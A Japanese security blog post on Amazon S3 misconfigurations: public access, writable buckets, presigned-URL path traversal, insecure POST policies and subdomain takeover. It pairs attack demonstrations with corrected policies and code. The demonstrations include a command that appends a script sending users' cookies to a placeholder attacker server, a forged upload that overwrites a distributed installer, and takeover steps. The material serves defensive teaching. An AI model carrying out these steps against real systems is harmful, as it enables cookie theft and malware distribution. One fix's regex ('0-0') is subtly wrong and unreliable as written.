Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

Amazon S3の脆弱な利用によるセキュリティリスクと対策

はじめに

こんにちは、株式会社Flatt Security セキュリティエンジニアの森岡(@scgajge12)です。

本稿では、Amazon S3 の脆弱な使い方によるセキュリティリスクと対策を解説し、実際の設定不備などに関する事例についても紹介します。

Flatt Security は専門家の視点でセキュリティリスクを調査するセキュリティ診断を提供しています。クラウドとアプリケーションの総合的な診断の事例として SmartHR 様の診断事例がございますので、是非インタビュー記事をご覧ください。GCP の事例ですが、もちろん今回取り上げる AWS でも同様の診断が可能です。

Amazon S3 とは

Amazon Simple Storage Service (S3)とは、AWS が提供するオブジェクトストレージサービスで、耐久性や可用性、拡張性などに優れたストレージサービスです。主に S3 が利用される場面としては、画像や動画の配信、アプリケーションのデータやアップロードされたファイルの格納先、静的 Web サイトの配信などがあります。特に S3 と Lambda と API Gateway と DynamoDB などで構成されたサーバーレスな環境を構築する際にもよく使われるサービスです。

また、サーバーレス(サーバーレスアーキテクチャ)とは、開発者がサーバーの管理を気にすることなくマネージドサービスを組み合わせて設計や運用することで、AWS のサービスでは Lambda や S3 、DynamoDB 、Cognito 、AppSync などがあります。

サーバーレスの特徴として「サーバー管理が不要」「柔軟なスケーリング」「リソース確保が不要」「高可用性」などがあり、開発者にとって非常に開発や運用がしやすいものと思われます。セキュリティ面でも、 OS やミドルウェアの脆弱性管理やネットワーク周りの対策も不要となり、セキュリティに対する手間やコストも減らすことができます。

しかし、S3 では不適切なポリシーの設定や S3 バケットを扱うアプリケーション側の脆弱性によって、簡単に S3 バケットから情報漏洩などが発生する可能性があります。

ここをクリックすると Amazon S3 に関する用語の詳細が表示されます

バケット・オブジェクト

S3 の構成として、バケットやオブジェクトというものがあります。

バケット

S3 におけるバケット(bucket)とは、オブジェクトを保存するための領域のことです。

バケット内のオブジェクト数には制限がなく、AWS アカウントに対してバケットは100個まで保存することができます。バケットには、いくつかの設定項目があり、アクセス制御や S3 を効率よく操作・管理するための設定などがあります。

詳しくは「バケットの概要」をご覧ください。

オブジェクト

S3 におけるオブジェクト(object) とは、S3 に保存されるデータやファイルのことです。

オブジェクトの中身には、アップロードされたファイルのデータやオブジェクト管理のための情報(metadata)なども含まれています。オブジェクト自体は、Web API 経由で操作することも可能なため、効率よく保存したデータを活用することができます。

詳しくは「オブジェクトの概要」をご覧ください。

アクセスポリシー

S3 におけるアクセス制御は、以下の3種類のポリシーで定義します。

  • リソースベースのポリシー
    • バケットポリシー
    • アクセスコントロールリスト(ACL)
  • ユーザーポリシー
    • IAM ポリシー

権限の強さとしては、「IAM ポリシー > バケットポリシー > ACL」となっています。

詳しくは「Amazon S3 での Identity and Access Management」をご覧ください。

バケットポリシー

バケットポリシーは、S3 バケットやその中のオブジェクトへのアクセス許可を IAM ユーザーや他の AWS アカウントに対して制御をすることができます。

バケットポリシーは、JSON ベースのアクセスポリシー言語を使用してバケット内のオブジェクトに対する許可や拒否をすることができます。また、AWS 公式が提供している「AWS Policy Generator」というツールがあり、活用することで簡単に S3 バケットポリシーや IAM ポリシーなどを作成することができます。

例えば、バケットポリシーの例として以下のように定義します。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "PublicRead",
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "s3:GetObject",
                "s3:GetObjectVersion"
            ],
            "Resource": [
                "arn:aws:s3:::DOC-EXAMPLE-BUCKET/*"
            ]
        }
    ]
}

主なポリシー要素は以下のようなものがあります。

  • Version
    • ポリシーで使用されるポリシー言語のバージョン定義
  • Statement
    • ポリシーの主要要素
  • Sid
    • ポリシードキュメントに与えることができる任意の識別子
  • Effect
    • Statement 内で定義される内容の許可(Allow)または拒否(Deny)の指定
  • Principal
    • Resource 内で定義されるリソースへのアクセスを許可または拒否するプリンシパルの指定
  • Action
    • 許可または拒否される特定のアクションの指定
  • Resource
    • 許可または拒否される特定のアクションを行うリソース先の指定

また、オプションである Condition 要素を使用することで、IP アドレスや HTTP Referer 、MFA (多要素認証)による厳密なアクセス制御もポリシー内で定義することで行うことが可能です。

詳しくは「バケットポリシーの使用」や「バケットポリシーの使用が適する場合」をご覧ください。

アクセスコントロールリスト(ACL)

アクセスコントロールリスト(ACL)とは、バケットやオブジェクト単位で他の AWS アカウントや外部からのアクセスに対してアクセス制御をすることができます。

ただし、最新のユースケースでは ACL の無効化が推奨されています。「オブジェクトごとに個別にアクセスを制御する必要がある」以外の場合は、 ACL を無効化してできるだけバケットポリシーを使用することをお勧めします。

詳しくは「アクセスコントロールリスト (ACL) の概要」や「ACL ベースのアクセスポリシー (バケットおよびオブジェクト ACL) の使用が適する場合」をご覧ください。

IAM ポリシー

IAM ポリシーは、 通常の AWS サービスへのアクセス制御と同様に、AWS リソースに対してできるアクションやリソースの制御をすることができます。

詳しくは「IAM ユーザーポリシーの使用」や「ユーザーポリシーの使用が適する場合」をご覧ください。

署名付き URL

署名付き URL (Presigned URL)とは、プライベートなバケットやオブジェクトに対して一時的に有効期限を設けてアクションを可能とする機能です。

署名付き URL は、IAM ユーザーや IAM ロールなどの認証情報を使用して URL を生成し、その URL を連携することで任意のユーザーが指定されたバケットやオブジェクトにアクションを実行することができます。署名付き URL の生成方法は、基本的には AWS SDK を使用します。また、ダウンロード用の URL に生成する場合は、AWS CLI や AWS Explorers などからでも生成することができます。

詳しくは「署名付き URL を使用したオブジェクトの共有」をご覧ください。

Amazon S3 におけるセキュリティリスク

S3 はサーバーレスな環境に適したストレージサービスですが、サーバーレスなサービスであってもセキュリティリスクは存在します。

Web アプリケーションのセキュリティを研究する非営利の国際コミュニティ「OWASP (The Open Web Application Security Project)」の調査結果をまとめた、サーバーレスアプリケーションが含みうる重大なセキュリティリスクをランキング形式で示す「OWASP Serverless Top 10」というものがあります。

その最新版である2018年版 OWASP Serverless Top 10 にある3位の「機密データの公開」と6位の「セキュリティの設定ミス」が S3 に該当しています。

クラウドのセキュリティに関する調査研究と提言、教育活動を展開する非営利活動法人「Cloud Security Alliance (CSA)」が2019年に公開している「サーバーレスアプリケーションのための最も重大な12のリスク」では、3位に「セキュアでないサーバレス・デプロイの構成」があり、S3 のセキュアでない設定による機密情報の漏洩が含まれています。

トレンドマイクロ株式会社が2021年に全世界で実施した「クラウド環境の設定不備ランキング」の調査結果では、AWS サービスの中で2位に「Amazon S3」が含まれています。そのため S3 は AWS サービスの中でも設定不備を起こしやすいサービスであることがわかります。

これらの調査結果から、S3 は不適切な設定による情報漏洩が発生しやすいことが考えられます。

また、S3 における情報漏洩は、主に次のような情報が想定されます。

ここをクリックすると S3 における主な情報漏洩の対象が表示されます

  • PII (Personally Identifiable Information)
    • 個人情報 (氏名,住所,電話番号,メールアドレス,生年月日,顔写真,クレジットカード番号,口座番号,など)
  • PHI (Protected Health Information)
    • 保護対象保険情報 (社会保障番号,保険情報,など)
  • ログ
    • CloudTrail やアプリケーションなどのログ情報
  • クレデンシャル
    • AWS Secret Access Key, API Key, 秘密鍵などの認証情報
  • その他
    • バックアップファイル内の情報
    • 運用しているプロダクトのアプリケーション内の情報

ちなみに同じサーバーレスな AWS サービスである「AWS Lambda」のセキュリティに関しては、以下のブログで紹介しています。こちらもぜひご覧ください。

blog.flatt.tech blog.flatt.tech

S3 に関する設定不備の公開事例

S3 の設定不備による被害事例は、次のように様々な規模で多く存在します。

ここをクリックすると7件の S3 に関する被害事例が表示されます

2019年ごろからサイバー犯罪集団「Magecart」による Web スキミング(クレジットカード番号を盗み出す攻撃手法)で S3 バケットを狙った犯行が行われていて、既に被害に遭った企業も多く存在しています(「Magecart」の新たな攻撃手法、設定ミスのある「Amazon S3」バケット狙う)。

犯行としては、設定不備がある S3 バケットをスキャンして S3 バケットが使われている Web サイトの JavaScript ファイルに悪意のあるコードを追加することで、ユーザーが入力した支払い情報を記録して、攻撃者が所有するサーバーに情報を送信することで個人情報を入手していると想定されます。

これらの事例から、セキュリティリスクで提示した設定不備等は実際に世の企業でも発生していて、それを狙って不正な個人情報の取得を目的とした犯行も行われていることがわかります。

また S3 は、AWS が提示している「責任共有モデル」に従っており、S3 に関するアクセス権限や暗号化などの設定不備はユーザー(開発者)の責任となっています。

そのため S3 における設定不備は、S3 バケットを使用しているアプリケーションの仕様に適した形でアクセス制御やセキュリティ対策を行う必要性があります。

Amazon S3 で考えられる脆弱な使い方

S3 における脆弱な使い方には、大きく2つのタイプが考えられます。

  • S3 バケットの誤ったポリシー設定(アクセス設定や操作権限)による情報漏洩
  • S3 バケットを利用した脆弱なソースコードによる情報漏洩

具体的な情報漏洩の原因の例として、主に以下のようなものが考えられます。

  • S3 バケットの誤ったポリシー設定(アクセス設定や操作権限)による情報漏洩
    • S3 バケットの不適切なパブリックアクセスの許可
    • S3 バケットの不適切な認証ユーザーの書き込み許可
    • S3 バケットの乗っ取り
  • S3 バケットを利用した脆弱なソースコードによる情報漏洩
    • S3 バケットにおける Path Traversal
    • S3 バケットの安全でない POST ポリシー

S3 バケットの不適切なパブリックアクセスの許可

S3 バケットのポリシー内の設定において、不適切なリソースへのアクセス許可により、公開を意図しないファイルからの情報漏洩が発生する可能性があります。

例えば、とある会社が情報のバックアップ先として S3 を使用していた際に、次のようなポリシーが設定されているとします。

ここをクリックすると S3 バケットのポリシーが表示されます

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal":{
        "AWS": "*"
      },
      "Action":[
        "s3:GetObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::flatt-demo-backup/*",
        "arn:aws:s3:::flatt-demo-backup"
      ]
    }
  ]
}

このような EffectAllow の場合、 Principal 内でワイルドカードである * が指定されていると、匿名アクセスで Resource で指定されているリソースに対して Action で指定されたアクション(操作)をすることが可能です。そのため、バケット flatt-demo-backup 内にあるファイルに誰でもアクセスすることができます。 ブラウザからは「https://s3.ap-northeast-1.amazonaws.com/flatt-demo-backup」にアクセスすると、バケット内に格納されているファイルの一覧を XML 形式で閲覧することができます。

実際に対象の環境や S3 バケットが使われている Web アプリケーションからバケット名を列挙(もしくはバケット名を推測)して、s3recon というツールを用いることで簡単にパブリックな S3 バケットを特定することができます。

また、今回のポリシーの場合、AWS CLI を用いることで特定の S3 バケットに対してのアクションをすることができます。

# 指定した S3 バケットのポリシーを返す
aws s3api get-bucket-policy --bucket flatt-demo-backup --output text | jq

このように匿名アクセスが許可されている場合、S3 バケット内に機微な情報を含むファイルや公開を意図していないファイルが含まれていると、それを特定した第三者によって情報漏洩が発生する可能性があります。

そのため、開発者は公開を意図しない S3 バケットがないようにポリシーを適切に設定するようにしてください。公開を意図した S3 バケットがある際は、バケット内のファイルに機微な情報が含まれていないことを確認してください。

今回の対策案としては、次のようなポリシーに修正することで、特定の IAM ユーザーのみがアクションを実行できるように限定させることができます。

ここをクリックすると対策案の S3 バケットのポリシーが表示されます

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal":{
        "AWS": "arn:aws:iam::***********:user/backup-user"
      },
      "Action":[
        "s3:GetObject",
        "s3:PutObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::flatt-demo-backup/*",
        "arn:aws:s3:::flatt-demo-backup"
      ]
    }
  ]
}

また、さらにアクセスできる制限を設けたい場合、ポリシーの Condition 内に aws:SourceIp として 信頼できる IP アドレスを指定することで、よりアクセス制限を厳重にすることができます。

ポリシーを更新する場合、AWS CLI を用いて以下のようなコマンドによって更新することができます。

# 指定した S3 バケットのポリシーを更新する
aws s3api put-bucket-policy --bucket flatt-demo-backup --policy file://policy.json

実際にポリシーを更新(修正)すると、ブラウザから「https://s3.ap-northeast-1.amazonaws.com/flatt-demo-backup」にアクセスすると「Access Denied」と表示されてブロックされることが確認できます。

S3 バケットの不適切な書き込み許可

S3 バケットのポリシー内の設定において、読み取り権限だけでなく「書き込み権限」も不適切に付与された場合も考えられます。

例えば、ログイン機能のある Web アプリケーションに以下のように S3 バケットに格納されているファイル先のリンクが埋め込まれて、ファイルを使用しているとします。

 ...
<link href="https://flatt-web-assets.s3.amazonaws.com/assets/images/favicon.ico" type='image/x-icon'/>
 ...
<script src='https://flatt-web-assets.s3.amazonaws.com/assets/js/loader.js'></script>
 ...

このバケット flatt-web-assets のポリシーは次のように設定されているとします。

ここをクリックすると S3 バケットのポリシーが表示されます

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal":"*",
      "Action":[
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": [
        "arn:aws:s3:::flatt-web-assets/*"
      ]
    }
  ]
}

このような EffectAllow の場合、 Principal 内でワイルドカードである * が指定されていると、書き込み権限 s3:PutObject が付与されているため、第三者によって S3 バケット内のファイルの書き込みによる不正なコンテンツの配信が可能です。

また、さらに今回のように JavaScript のファイルが script タグによって Web アプリケーションに埋め込まれている場合、 XSS (Cross-Site Scripting) による Cookie の不正取得なども可能です。

実際に以下のような手順で、S3 バケットに格納されている特定のファイル(loader.js)に書き込みをします。

# 1. S3 バケット内の loader.js をダウンロードする
wget -nv https://flatt-web-assets.s3.amazonaws.com/assets/js/loader.js

# 2. echo コマンドで任意のスクリプトを loader.js に追加する
echo 'new Image().src="http://<攻撃者が保有するサーバーの IP アドレス>/?cookie=" + document.cookie;' >> loader.js

# 3. 書き換えたファイルを先程の S3 バケットにアップロードして上書きする
aws s3 cp loader.js s3://flatt-web-assets/assets/js/ --no-sign-request

これにより、loader.js ファイルが読み込まれている Web アプリケーションに再度アクセスすると、攻撃者が保有するサーバーの IP アドレス宛にアクセスしたユーザーの Cookie が送信されて入手することができます。

このように Web アプリケーションに使用されている S3 バケット内のファイルに対して不適切な書き込み権限が付与されている場合、ファイルの改竄や不適切なコンテンツの配信が行われる可能性があります。特に S3 バケットに格納されている JavaScript ファイルに書き込み権限があり、それが Web アプリケーション上に script タグで埋め込まれている場合、XSS や Web スキミングなどの脆弱性攻撃に繋がる危険性もあります。

そのため、開発者は不要な書き込み権限をポリシーに設定しないようにしてください。もし書き込み権限を意図した S3 バケットがある際は、適切に Principal で限定的にアクセスを許可したり、S3 バケットをなるべく読み込み用と書き込み用と分けて使用するようにしてください。また、意図しない上書きが起きた場合に備えて、S3 のバージョニングを有効化することで更新前の状態に復元できるようにしておくことをお勧めします。

今回の対策案としては、次のようなポリシーに修正することで、 読み込み権限のみと限定させることができます。

ここをクリックすると対策案の S3 バケットのポリシーが表示されます

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal":"*",
      "Action":[
        "s3:GetObject"
      ],
      "Resource": [
        "arn:aws:s3:::flatt-web-assets/*"
      ]
    }
  ]
}

S3 バケットにおける Path Traversal

S3 の署名付き URL の生成において、Path Traversal による S3 バケット内のファイルの不正取得による情報漏洩が発生する可能性があります。

Path Traversal (CWE-22)とは、ファイルの参照の仕組みを悪用して公開を意図しないファイルを不正に読み取ることができる脆弱性です。

例えば、ファイルアップロードの機能がある Web アプリケーションに S3 が使用されているとします。アップロードされたファイルは、サーバー側で処理してその結果を Web アプリケーション上に表示するとします。

まずは Web アプリケーションからファイルを適切にアップロードして、アップロードされたファイルに対して署名付き URL を生成します。そして生成された URL を返すリクエスト/レスポンスが以下のようになり、API を通してパラメーター key にファイルを指定することで、サーバー側で生成された署名付き URL を返します。

GET /api/users/get-image HTTP/1.1
Host: hoge.flatt-demo-api.ap-northeast-1.amazonaws.com
 ...
{"key" : "image.jpg"}
HTTP/1.1 200 OK
Content-Type: application/json 
 ...
​
{
   "presigned_url": "https://flatt-demo-prod.s3.ap-northeast-1.amazonaws.com/assets/uploads/image.jpg?X-Amz-Security-Token=*****&X-Amz-Algorithm=*****&X-Amz-Date=*****&X-Amz-SignedHeaders=*****&X-Amz-Expires=*****&X-Amz-Credential=*****&X-Amz-Signature=*****"
}

レスポンスでは、presigned_url に 署名付き URL が含まれていて、実際に生成されてから指定された有効期限内のみアクセスできる URL が返されます。そして Web アプリケーション側はこの URL をフロントエンドで読み込んでブラウザ上でファイル(画像)を表示させます。

今回は AWS SDK を使用した Lambda 上で署名付き URL を生成しているとします。例としてソースコードは、次のようになります。

ここをクリックするとソースコードが表示されます

  private static final Logger LOG = LogManager.getLogger(GenerateReportURLHandler.class);
  private final static Regions region = Regions.fromName("ap-northeast-1");
  private final static String bucketName = "flatt-demo-prod";
  private final String s3BasePath = "assets/uploads/";

  @Override
  public APIGatewayProxyResponseEvent handleRequest(APIGatewayProxyRequestEvent input, Context context) {
 ...
      String key = inputParams.get("key");
      Path s3Path = Paths.get(s3BasePath + key);
      String normalizedPath = s3Path.normalize().toString();

      AmazonS3 s3Client = AmazonS3ClientBuilder.standard().withRegion(region).build();

      GeneratePresignedUrlRequest generatePresignedUrlRequest = new GeneratePresignedUrlRequest(bucketName, normalizedPath).withMethod(HttpMethod.GET);
      URL url = s3Client.generatePresignedUrl(generatePresignedUrlRequest);
      Map < String, String > responseBody = new HashMap < String, String > ();
      responseBody.put("presigned_url", url.toString());
 ...

このようなソースコードの場合、normalize() によってパス中の冗長な部分を削除され、そのまま指定のパスに対して署名付き URL の生成が実行されて URL を返しています。

実際にファイル名を指定するパラメーター key../../ としてリクエストを投げると以下のようにレスポンスが返ってきます。

GET /api/users/get-image HTTP/1.1
Host: hoge.flatt-demo-api.ap-northeast-1.amazonaws.com
 ...
{"key" : "../../"}
HTTP/1.1 200 OK
Content-Type: application/json 
 ...
​
{
   "presigned_url": "https://flatt-demo-prod.s3.ap-northeast-1.amazonaws.com/?X-Amz-Security-Token=*****&X-Amz-Algorithm=*****&X-Amz-Date=*****&X-Amz-SignedHeaders=*****&X-Amz-Expires=*****&X-Amz-Credential=*****&X-Amz-Signature=*****"
}

今回の場合、S3 バケットのパスが flatt-demo-prod/assets/uploads/../../ から flatt-demo-prod/ となり、flatt-demo-prod の親ディレクトリへの署名付き URL が生成されています。そのため、実際にブラウザ上で生成された URL にアクセスすると、バケット flatt-demo-prod のファイルの一覧が XML 形式で表示でき、S3 バケット内の任意のディレクトリで署名付き URL を生成できることが確認できます。そこから同じ S3 バケットに格納されている別のファイル名を知ることができ、同様の手法で署名付き URL を生成する先に指定することで、その S3 バケット内の任意のファイルに署名付き URL を通してアクセスすることが可能となります。

このように署名付き URL を生成するソースコードに脆弱性(Path Traversal)がある場合、S3 バケット内の任意のファイルへアクセスできる署名付き URL を生成することで、任意のファイルから不正に情報を取得することが可能です。また、該当の S3 バケット内に公開を意図しないファイル、ハードコーディングされた API Key やトークンなどの機微な情報が含まれている場合、さらなる不正アクセスや情報漏洩に繋がる可能性があります。

そのため、開発者は S3 バケットのポリシーによる適切なアクセス制御だけでなく、根本的な原因である S3 バケットを扱うアプリケーションのソースコード上の脆弱性対策も適切に行うようにしてください。

今回の対策案の例は、次のようにパラメーター key から受け取るパスの文字列に対して正規表現でファイル名と拡張子をチェックします。それで、もしファイル名が英数字以外の場合や拡張子が画像以外の場合、エラーメッセージを返すようにします。

ここをクリックすると対策案のソースコードが表示されます

 ...
  Boolean isFilenameValid = key.matches("[-_A-Za-z0-0]+¥¥.(jpeg|jpg|png)");
  if (inputPath.getNameCount() > 1 || !isFilenameValid){
    Map < String, String > responseBody = new HashMap < String, String > ();
    responseBody.put("message", "invalid data for parameter:key");
    generateResponse(
      apiGatewayProxyResponseEvent,
      new JSONObject(responseBody).toJSONString(),
      400);

    return apiGatewayProxyResponseEvent;
  }
 ...

このようにファイル名が含まれる文字列に対して、署名付き URL を生成する前に検証することで Path Traversal のような悪意ある文字列をチェックすることができ、公開を意図しないパスの署名付き URL の生成を防ぐことができます。

S3 バケットの安全でない POST ポリシー

S3 で POST を使用したブラウザベースによるファイルのアップロード機能において、安全でない POST ポリシーによる配布ファイルの改竄が行える可能性があります。

S3 には、POST によるブラウザベースのファイルアップロード機能があり、開発者は HTTP リクエストを通して S3 バケットに直接アップロードすることができます。

詳しくは「POST (AWS 署名バージョン 2) を使用したブラウザベースのアップロード」をご覧ください。

このアップロード機能には事前に署名された POST ポリシーが必要で、そのポリシーが安全でない場合、不適切にファイルを改竄することができます。

例えば、ユーザーによるファイルのアップロード機能(プロフィール画像など)がある Web アプリケーションに S3 を使用しているとします。また、その Web アプリケーションには、以下のように S3 バケットに格納されているイメージファイルのダウンロードリンクが埋め込まれているとします。

 ...
<a href="https://flatt-demo-downloads.s3.amazonaws.com/downloads/drivers/flatt-library-v1.dmg">
 ...

まず、ブラウザからユーザーによるファイル(画像)のアップロードを正常に行うと、以下のようなリクエスト/レスポンスが行われるとします。

GET /api/generate-upload-url HTTP/1.1
Host: hoge.flatt-demo-api.ap-northeast-1.amazonaws.com
 ...
HTTP/1.1 200 OK
Content-Type: application/json
 ...

{
  "url": "https://s3.ap-northeast-1.amazonaws.com/flatt-demo-downloads",
  "fields": {
    "acl": "public-read",
    "bucket": "flatt-demo-downloads",
    "X-Amz-Algorithm": "**********",
    "X-Amz-Credential": "**********",
    "X-Amz-Data": "**********",
    "Policy": "eyJ********************==",
    "X-Amz-Signature": "**********"
  }
}

このようにサーバーからは、事前に署名された POST ポリシーに関連付けられているパラメーターを JSON で返しています。

そして、POST ポリシーの内容を使用してアップロードされたファイルを POST で直接 S3 バケットにアップロードします。

POST /flatt-demo-downloads HTTP/1.1
Host: s3.ap-northeast-1.amazonaws.com
 ...
----------------------------
Content-Disposition: form-data; name="key"
assets/profile/hoge.jpg
----------------------------
Content-Disposition: form-data; name="acl"
public-read
----------------------------
Content-Disposition: form-data; name="x-amz-meta-uuid"
**********
----------------------------
Content-Disposition: form-data; name="x-amz-server-side-encryption"
**********
----------------------------
Content-Disposition: form-data; name="X-Amz-Credential"
**********
----------------------------
Content-Disposition: form-data; name="X-Amz-Algorithm"
**********
----------------------------
Content-Disposition: form-data; name="X-Amz-Date"
**********
----------------------------
Content-Disposition: form-data; name="x-amz-meta-tag"
----------------------------
Content-Disposition: form-data; name="Policy"
eyJ********************==
----------------------------
Content-Disposition: form-data; name="X-Amz-Signature"
**********
----------------------------
Content-Disposition: form-data; name="file"; filename="hoge.jpg"
<hoge.jpg>
------------------------------
HTTP/1.1 204 No Content
 ...
Location: https://s3.ap-northeast-1.amazonaws.com/flatt-demo-downloads/assets%2Fprofile%2Fhoge.jpg
Server: AmazonS3

サーバー側の処理は、AWS SDK を使用して次のようなアプリケーションのソースコードで行われているとします。

ここをクリックするとソースコードが表示されます

const AWS = require('aws-sdk');
const moment = require('moment');
 ...
// ブラウザベースのファイルアップロード
async function generateUploadURL(_, context, __) {
    context.callbackWaitsForEmptyEventLoop = false;
    try {
        const s3 = new AWS.S3({
            signatureVersion: 'v4'
        });
        const expiry = 60 * 10;
        const fields = {
            acl: 'public-read'
        };
        const date = moment().format('YYYYMMDD');
        const credential = `${process.env.ACCESS_KEY}/${date}/${process.env.REGION}/s3/aws4_request`;
        const conditions = [
            {"bucket": process.env.AWS_S3_BUCKET},
            ["starts-with", "$key", ""],
            {"acl": "public-read"},
            {"x-amz-meta-uuid": "**********"},
            {"x-amz-server-side-encryption": "**********"},
            ["starts-with", "$x-amz-meta-tag", ""],
            {"x-amz-credential": credential},
            {"x-amz-algorithm": "**********"}
        ];
        // 署名付きURLを返す
        const presignedResponse = s3.createPresignedPost({
            Expires: expiry, 
            Bucket: process.env.AWS_S3_BUCKET,
            Conditions: conditions,
            Fields: fields
        });
        return {
            statusCode: 200,
            body: JSON.stringify(presignedResponse, null, 2)
        };
    } catch (error) {
 ...

このようなアップロードされる S3 バケット先(s3://flatt-demo-downloads/assets/profile/)がダウンロードを想定してファイルが格納されている S3 バケット先(s3://flatt-demo-downloads/downloads/drivers/)とバケット(s3://flatt-demo-downloads/)が同じ場合、バケット内でアップロード先のディレクトリパスを改竄することでダウンロードを想定するファイルの改竄をすることができます。

実際に、ファイルをアップロードする際のリクエストにある key で S3 バケット内のパスを以下のように改竄して送信することでアップロードすることができます。

POST /flatt-demo-downloads HTTP/1.1
Host: s3.ap-northeast-1.amazonaws.com
 ...
----------------------------
Content-Disposition: form-data; name="key"
downloads/drivers/flatt-library-v1.dmg
----------------------------
Content-Disposition: form-data; name="acl"
public-read
----------------------------
Content-Disposition: form-data; name="x-amz-meta-uuid"
**********
----------------------------
Content-Disposition: form-data; name="x-amz-server-side-encryption"
**********
----------------------------
Content-Disposition: form-data; name="X-Amz-Credential"
**********
----------------------------
Content-Disposition: form-data; name="X-Amz-Algorithm"
**********
----------------------------
Content-Disposition: form-data; name="X-Amz-Date"
**********
----------------------------
Content-Disposition: form-data; name="x-amz-meta-tag"
----------------------------
Content-Disposition: form-data; name="Policy"
eyJ********************==
----------------------------
Content-Disposition: form-data; name="X-Amz-Signature"
**********
----------------------------
Content-Disposition: form-data; name="file"; filename="hoge.jpg"
<hoge.jpg>
------------------------------
HTTP/1.1 204 No Content
 ...
Location: https://s3.ap-northeast-1.amazonaws.com/downloads/drivers/flatt-library-v1.dmg
Server: AmazonS3

このようにブラウザベースのファイルアップロードにおいて、攻撃者がアップロード先のパスを Web アプリケーション上でダウンロードファイルを格納している downloads/drivers/flatt-library-v1.dmg という同一名の悪意あるファイルでアップロードすることで、ダウンロードコンテンツを改竄することができます。これを悪用することで、信頼されたドメインを持つ Web アプリケーションからマルウェアの配布を行うことも可能です。

そのため、開発者は POST によるブラウザベースのファイルアップロードにおいて、S3 バケット内のアップロード先のパス指定をアプリケーション側で行なってください。また、アップロード先として使う S3 バケットとダウンロード先として使う S3 バケットを別々にすることで、目的別にバケットの権限を付与することをお勧めします。なるべく目的別に S3 バケットを使い分けることで、誤った設定などによる意図しないアクションを防ぐことができます。

今回の対策案の例は、次のように根本的な原因であるブラウザベースのファイルアップロード処理をするアプリケーションで、S3 バケット内で想定するパスを定義(baseURL)し、ファイルの拡張子も限定します。 そうすることで、ユーザーの意図しないパスへのアップロードを防ぐことができます。

ここをクリックすると対策案のソースコードが表示されます

const AWS = require('aws-sdk');
const moment = require('moment');
 ...
// ブラウザベースのファイルアップロード
async function generateUploadURL(_, context, __) {
    context.callbackWaitsForEmptyEventLoop = false;
    try {
        const s3 = new AWS.S3({
            signatureVersion: 'v4'
        });
        const expiry = 60 * 10;
        const baseURL = 'assets/uploads';
        const fileName = Math.random().toString(36).slice(2);
        const fields = {
            acl: 'private',
            key: `${baseURL}/${fileName}.jpg`
        };
        const date = moment().format('YYYYMMDD');
        const credential = `${process.env.ACCESS_KEY}/${date}/${process.env.REGION}/s3/aws4_request`;
        const conditions = [
            {"bucket": process.env.AWS_S3_BUCKET},
           // ["starts-with", "$key", ""],
            {"acl": "private"},
            {"x-amz-meta-uuid": "14365123651274"},
            {"x-amz-server-side-encryption": "AES256"},
            ["starts-with", "$x-amz-meta-tag", ""],
            {"x-amz-credential": credential},
            {"x-amz-algorithm": "AWS4-HMAC-SHA256"},
            ["starts-with", "$Content-Type", "image/"]
        ];
        // 署名付きURLを返す
        const presignedResponse = s3.createPresignedPost({
            Expires: expiry,
            Bucket: process.env.AWS_S3_BUCKET,
            Conditions: conditions,
            Fields: fields
        });
        return {
            statusCode: 200,
            body: JSON.stringify(presignedResponse, null, 2)
        };
    } catch (error) {
 ...

S3 バケットのサブドメインの乗っ取り

S3 の静的 Web サイトのホスティング機能において、不適切に管理されている S3 バケットに紐づいているサブドメインを乗っ取れる可能性があります。サブドメインを乗っ取る手法のことを「Subdomain Takeover」といいます。

S3 におけるホスティング機能は、HTML ファイルなどの静的コンテンツを S3 バケットに格納してホスティング機能を有効化することで、静的 Web サイトをホストすることができます。また、CloudFront や Route53 を使用することで、Web サイトを高速化したりカスタムドメインを登録して利用することもできます。

詳しくは「Amazon S3 を使用して静的ウェブサイトをホスティングする」をご覧ください。

Subdomain Takeover とは、DNS (Domain Name System)の設定不備でドメイン名の管理権限を保有しない第三者が該当のサブドメインを乗っ取ることができる問題です。

例えば、S3 バケットの静的 Web サイトのホスティング機能で assets.flatt-demo.net というバケット名のバケットをホスティングしていて、現在はバケット内のファイルが全て削除されて使われていないとします。

実際にブラウザから「https://assets.flatt-demo.net/」にアクセスしてみると、以下のように表示されます。

404 Not Found
- Code: NoSuchBucket
- Message: The specified bucket does not exist
- Bucketname: assets.flatt-demo.net

このような場合、攻撃者自身の AWS 環境に同一名の assets.flatt-demo.net というバケット名を作成し、静的 Web サイトのホスティング機能を有効にすることで、サブドメインを乗っ取ることが可能です。

実際に以下のような手順で、S3 バケットに紐づくサブドメインを乗っ取ることができます。

  1. 対象のサブドメインにアクセスすることで「NoSuchBucket」と表示されることを確認する
  2. dig コマンドなどで DNS の設定を表示して、リージョン等を確認する
  3. 自分(第三者)の AWS 環境にサブドメインと同名のバケットを同じリージョンに作成する
  4. 静的 Web サイトのホスティングを有効化し、「index.html」を指定する
  5. 適当な index.html ファイルをアップロードして公開する
  6. 該当のサブドメインにアクセスすることで、先程アップロードした index.html ファイルの内容が表示される

これにより、信頼されたホストのドメイン(flatt-demo.net)に紐づく S3 バケットによるサブドメイン(assets.flatt-demo.net)を完全に乗っ取ることができます。

このように使われていない S3 バケットによるサブドメインがそのまま DNS Entry に残っている場合、サブドメインを乗っ取ることで任意のファイルをサブドメインから配信することができ、以下のようなことが行われる可能性があります。

  • フィッシングサイトのホスティングや誘導
  • マルウェアの配布
  • 悪意ある JavaScript のコードを含むファイルを格納しホストドメインから Cookie の取得
  • コンテンツセキュリティポリシー(CSP)の回避
  • MITB (Man-in-the-Browser)攻撃の活用

そのため、開発者は使用していない S3 バケットを削除し、使用していないサブドメインの DNS Entry や古い DNS Entry を削除するようにしてください。

